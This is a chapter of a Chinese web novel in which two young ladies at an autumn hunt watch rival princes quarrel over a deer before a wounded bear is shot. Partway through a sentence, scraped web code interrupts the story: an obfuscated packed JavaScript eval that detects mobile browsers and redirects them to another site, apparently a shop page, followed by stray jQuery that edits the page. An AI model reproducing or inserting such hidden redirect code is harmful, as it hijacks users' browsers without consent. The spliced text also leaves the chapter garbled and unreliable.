37. 打猎

作品:《无限玩家在古代当大小姐

    看着脸色红润健康的小女儿蹦蹦跳跳小跑过来,许怀山心中感慨万千。


    这是妻子拼了命生下来的小女儿,打从一出生就有先天不足之症。哪怕请来御医开方子常年温补,她的身体还是一年不如一年。


    随着年岁增长,她的身体每况愈下,前些年狠心送她去往临安府养病,实属无奈之举。


    原本只是想要尽可能多拖上几年,等待寻求治病良方的,却没想到女儿认识的小伙伴竟能有本事请来极富盛誉的白神医为女儿看诊,一举根除先天不足之症,给了他女儿一副健康的好身体。


    看着温柔纵容自家女儿的素月,许怀山心中充斥着感激之情。


    虽说他与这个姑娘只在宫宴上见过一次,但在临安府寄来的书信里,他也算是认识她许久许久了。


    “既然人家素月愿意陪着你闹,那爹爹也就不做那扫兴之人了。不过你必须得带好家丁,万不可跑进山林深处,可好?”


    许怀山温和的对素月点头示意,戳着许香茹的脑门仔细叮嘱。


    “好好好,保证听爹爹的话!跟紧素月,不进深林!”许香茹兴奋极了,忙不迭吩咐侍女去取她的小弓来。


    “素月小姐,我家香茹就拜托你照顾了!”许怀山朝素月拱手道。


    这位姑娘可是他家闺女的救命恩人,哪怕他身居高位,也理应对她以礼相待。


    “左相大人客气了,香茹是我的好朋友,我们一向互相扶持,互相关照。”素月屈膝行礼,温和回答道。


    “哈哈哈,尽管去玩吧,你俩一起,我放心的很。”左相开怀大笑,知道她只是在自谦,挥挥手让两个姑娘自行玩乐。


    两个少女各自骑着马,带着四五个家丁溜达着走进了猎场的林子。


    林子外围的树木还算稀疏,视野也很不错,许香茹兴致勃勃的举着自己的小弓,努力观察着周围的草丛。


    她知道自己的斤两,没有把目标定在那些大个猎物上,今日进林子,她的目标只有野兔野鸡等小动物而已。


    可惜想象很美好,现实却冰冷无情。


    她瞪大眼睛在林子里转了快半个时辰,却连野兔的影子都没有看到一个。


    看着在身后悠闲跟着的素月,她的眼珠转了转,顿时计上心头。


    “素月,你能不能看见哪里有兔子啊?要是我今日来猎场连只兔子都没有抓到,岂不是很丢脸!”


    素月似笑非笑,知道她就是在故意装可怜。但是这种小事,帮帮她的好朋友又何妨。


    “我指哪你射哪,如何?”


    “好!”


    许香茹眼神亮晶晶的,她就知道素月不会不管她。


    “瞧见东方向那颗侧柏了吗,它下边的草丛里有只兔子,注意看,就在那儿!”


    按照素月的指示,许香茹拉开弓,一箭射向那灌木丛下边。


    可惜她那装饰作用大过实际作用的小弓实在没什么力道,准头也差得远,仅仅只是擦着灌木丛射在了地上。


    丛中的兔子受惊逃窜,一溜烟就钻进草丛不见了。


    “唉!”许香茹大受打击,失望的叹了口气。


    “好了,你不是来玩的吗,没打到就没打到,我再给你找几个就是了。”素月拍拍她的肩,柔声安慰。


    “也是,咱们再去找!”


    许香茹打起精神,又在素月的指引下开始不断尝试,虽说一直没射中猎物,但准头倒是肉眼可见的进步不少。


    两人走走停停,逛的正起劲呢,附近的林子里却传来阵阵争执声。


    两个少女对望一眼,同时露出兴味的眼神。


    太好了!又有热闹可看了!


    “这小鹿分明是恭王殿下先射中,按情理该归属恭王殿下才是!”兵部尚书之子,厉长风,站在已倒地死去的一头小鹿身旁,指着脊背上的利剑高声道。


    “小鹿脖子上要害之处的箭上,刻的可是勤王殿下的标识,依此来看这小鹿分明是勤王殿下的猎物!”出声者正是勤王殿下的娘舅,淑妃娘娘李卿卿的幼弟李易。


    “是我等先发现它的,围捕许久才将这鹿追的筋疲力尽,却未能及时擒获,反倒劳烦各位出手射死,如今只希望各位能够归还我等的猎物。”跟在恭王身边的秦朝腾打马上前,拱手慢条斯理解释道。


    “我们方才射死这鹿的时候,它可不在你们的包围圈里,分明是你们没抓住让它跑了!”


    跟在勤王身边的九皇子夏景渊年方十四,脾气急躁,这次也是央求许久,五皇兄才肯答应带着他一起玩,此时见刚到手的猎物有人来抢,挥舞着马鞭高声争论道。


    “世人皆知恭王殿下武艺卓绝,区区一只小鹿,若真是恭王殿下的猎物,又怎会让它跑了出来?”


    此时出声的是五皇子的娘舅,户部尚书幼子李易,他站在九皇子身边,身为京中有名的翩翩君子,就算是参加围猎,折扇也是片刻不曾离身,此刻他轻摇折扇,轻描淡写的反讽道。


    猎物数量和质量关系到今年秋狝的魁首将会花落谁家,小鹿这等较为珍惜的猎物,秦朝腾是无论如何也要为恭王殿下争回来的,听出李易言语中的讽刺,他立刻反驳。


    “恭王殿下围捕时或许略有疏漏,这才让多跑了一会儿!可这终究是殿下先行追捕的猎物,还请勤王殿下割爱!”


    ”这猎场之物,向来各凭本事,如今的事实就是我们勤王殿下射死了这小鹿,那它就理当是我们勤王殿下的!”见秦朝腾不依不饶,李易微微一笑。


    看来,得提起兴致来好好论上一番了。


    也不知这恭王殿下身边的新面孔是个什么来路,嘴皮子倒还挺利索的。若是厉长风那等莽夫,恐怕早被他驳得哑口无言只能撒泼耍赖了。


    许香茹拉着素月一边津津有味看着那边两个皇子的争执,一边给素月介绍每个出声者的身份。


    “咦?那不是你大哥嘛?他怎么跟在恭王殿下身后?”


    瞟了一眼退至恭王身后,面色阴沉的厉长风,素月回忆起秦家父子在书房中的密谈,想必这位就是那所谓的厉小世子了。她心中不屑,嘲讽一笑:“谁知道呢,许是在国子监搭上了什么不得了的人物吧!”


    反正,不管当时厉长风是有意接近还是无意结识,秦家上了四皇子恭王殿下的战船的消息,从此刻起马上就会变成人尽皆知的事实。


    看来,与小姨商量是否和离的事要尽快了。


    原本还想拖到素钰再长大一点,但是如今看来,就算秦正荣能控制住贪婪之心,他的几个儿女却都各自蠢蠢欲动了。


    “恭王殿下先射中这鹿,便是我等占了先机,若非我等一路围追堵截,耗尽了它的力气,又怎会被勤王殿下轻易射中?若轮因果,这鹿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070405|195194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自然该归恭王殿下!”


    秦朝腾拱手上前,语气恭谨,态度却寸步不让。


    他能不能彻底跻身恭王殿下心腹之列,可就看这次秋狝的表现了,无论如何,都必须成功!


    李易挥扇一笑,“阁下此言差矣,我等并非有意抢夺,勤王殿下看见这鹿奔逃而来,抬手射箭不过是顺势而为,这箭稳稳扎在要害之处,可见猎杀小鹿主要靠勤王殿下精湛的箭术。这猎物的归属,还是靠实打实的结果来论吧。”


    “四皇兄骑射水平比我高得多,不过区区一只小鹿,再猎一只就是了,可别为这等小事伤了咱们之间的兄弟和气啊。”勤王夏云帆也走上前微微笑道,眼神中却满含挑衅。


    四皇兄对自己的拳脚功夫一向自得不已,今日看中的猎物却先进了自己囊中,心中一定极为不快吧?


    夏景煜的确生气,他和老五为了太子之位争得你死我活,什么时候有所谓的兄弟和气可言?


    那老五对外从来都自称是个文弱书生,什么时候竟有了一箭穿喉这样高超的骑射水平!


    “并给皇兄不肯让给你,只是凡事总要讲究个先来后到吧?”夏景煜骑在马上朝着夏云帆冷笑一声。


    两方人马正吵得火热,素月和许香茹看热闹也正津津有味的时候,附近密林里却一阵地动山摇。


    凶恶的兽吼声振飞了大群林鸟,树枝咔擦折断的声音急速靠近,一头壮硕如小山的棕熊骤然冲至众人附近。


    它的眼中插着一根几乎全部没入眼眶的箭簇,猩红的鲜血从眼眶中汩汩流出,胸前油亮的皮毛被眼中滴落斑斑血渍浸透。


    它痛苦的高吼一声,锋锐的爪尖胡乱挥舞挣扎,周围的灌木丛都被它的挣扎碾压得残碎一地。


    “——保护殿下!”


    两方随侍的近卫都冲上前来将这些皇亲贵胄护至身后,警惕的看着扔在垂死挣扎的棕熊。


    “啊!”许香茹害怕的小声惊叫,拉着素月就想跑,却被素月搂着肩背安抚下来。


    “别怕,它马上就要死了。”


    正如素月所说,一根锋锐利箭伴着破空之声,从棕熊的身后穿林而来,从脑后直直插穿头骨,箭尖沾着血迹从棕熊额中透出。


    “抱歉,本想保全一张完整的熊皮,没想到竟让它奔逃到两位皇兄附近。连累两位皇兄受惊了,玄锋在此先陪个不是。”


    夏玄锋肩头蹲着小白,手中挽着硬弓,策马到棕熊尸首身边,拱手对着四、五两位皇子道歉。


    “呵……并无大碍,皇弟不必介怀……”


    “是…是啊!皇弟真是神武,竟能猎到这么大的熊…哈……”


    两方人马想起自己刚刚为一只小鹿争得面红耳赤,一时心中有些尴尬。


    “本王这就不打扰皇弟的雅兴了,咱们就再此分道扬镳吧。”


    恭、勤两位王爷勉强打了个哈哈,带着自己的手下们灰溜溜的走了,谁都没有再提起那连棕熊一只腿都比不上的小鹿。


    看着众人仓皇离开的背影,夏玄锋面色微冷。


    ——再忍一忍,此时还不是能随意出手的时候。


    天知道他刚刚废了多少意志力,才将瞄准的箭尖从勤王夏云帆的脑袋上移开。


    “两位小姐既然对这熊感兴趣,何不出来仔细瞧瞧?”夏玄锋微微偏头,朝着素月所在的方向扬声笑道。